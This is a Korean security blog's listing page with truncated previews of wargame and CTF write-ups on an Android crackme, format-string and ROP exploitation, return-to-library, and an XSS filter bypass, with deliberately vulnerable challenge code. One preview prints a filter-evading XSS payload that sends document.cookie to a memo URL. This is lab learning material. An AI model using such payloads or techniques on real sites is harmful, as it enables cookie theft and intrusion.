분류 전체보기

Mobile

[OWASP-MSTG] UnCrackable-Level3

문제분석UnCrackable-Level2에 이어 Level3를 풀어보자. UnCrackable-Level3.apk를 다운받고 [Android Studio Emulator]를 이용해서 App을 분석했다. 탐지 우회frida로 앱을 실행하면 프로세스가 강제종료되는 것을 확인할 수 있다. 프로세스가 종료되는 이유를 파악하기위해 apk를 디컴파일하고 코드를 확인했다. MainActivity의 oncreate()에서 처음에 verifyLibs()를 실행하는 것을 파악할 수 있었고 이 함수 내부에서 프로세스 종료와 관련된 로직이 있을 것이라고 생각했다.  ○ verifyLibs()private void verifyLibs() { this.crc = new HashMap(); this.crc..

System Hacking Advanced

[dreamhack] basic_exploitation_003

문제분석void get_shell() { system("/bin/sh");}int main(int argc, char *argv[]) { char *heap_buf = (char *)malloc(0x80); char stack_buf[0x90] = {}; initialize(); read(0, heap_buf, 0x80); sprintf(stack_buf, heap_buf); printf("ECHO : %s\n", stack_buf); return 0;}read(0, heap_buf, 0x80)로 stack_buf 입력을 0x80 바이트만 받는다. 즉, stack_buf에서 BOF가 발생하지 않는다. sprintf(stack_buf, heap_buf);하지만 입..

System Hacking Advanced

[dreamhack] rop

ROP(Return Oriented Programming) ROP(Return Oriented Programming)ROP(Return Oriented Programming)ROP는 ASLR과 같은 메모리 보호기법을 우회하기 위한 공격기법으로 return이 포함된 코드 조각들인 가젯들을 이용해 system(“/bin/bash”)를 실행하는 프로그램을 해커가 임의keyme2003.tistory.com └─# checksec rop[*] '/root/dream/rop/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x40..

System Hacking Advanced

[dreamhack] Return to Library

Return to Library#include #include const char* binsh = "/bin/sh";int main() { char buf[0x30]; setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); // Add system function to plt's entry system("echo 'system@plt"); // Leak canary printf("[1] Leak Canary\n"); printf("Buf: "); read(0, buf, 0x100); printf("Buf: %s\n", buf); // Overwrite return address printf("[2] Overwrite return ..

Web Hacking Advanced

[dreamhack] XSS Filtering Bypass

문제풀이xss-1과 마찬가지로 3가지 페이지가 나온다. def xss_filter(text): _filter = ["script", "on", "javascript"] for f in _filter: if f in text.lower(): text = text.replace(f, "") return textxss-1와 차이점이 있다면, 위와 같이 script, on, javascript 를 필터링하고 ""로 replace 한다는 점이다. locatioonn.href='http://127.0.0.1:8000/memo?memo='+document.cookie필터링을 우회한 xss payload다. script, on, javascript를 필터링할 때, 프로세..

Web Hacking Advanced

[dreamhack] File Vulnerability Advanced for linux

문제풀이API_KEY = os.environ.get('API_KEY', None)def key_required(view): @wraps(view) def wrapped_view(**kwargs): apikey = request.args.get('API_KEY', None) if API_KEY and apikey: if apikey == API_KEY: return view(**kwargs) return 'Access Denined !' return wrapped_view@app.route('/', methods=['GET'])def index(): return 'API Index'@app.route(..

keyme
'분류 전체보기' 카테고리의 글 목록 (11 Page)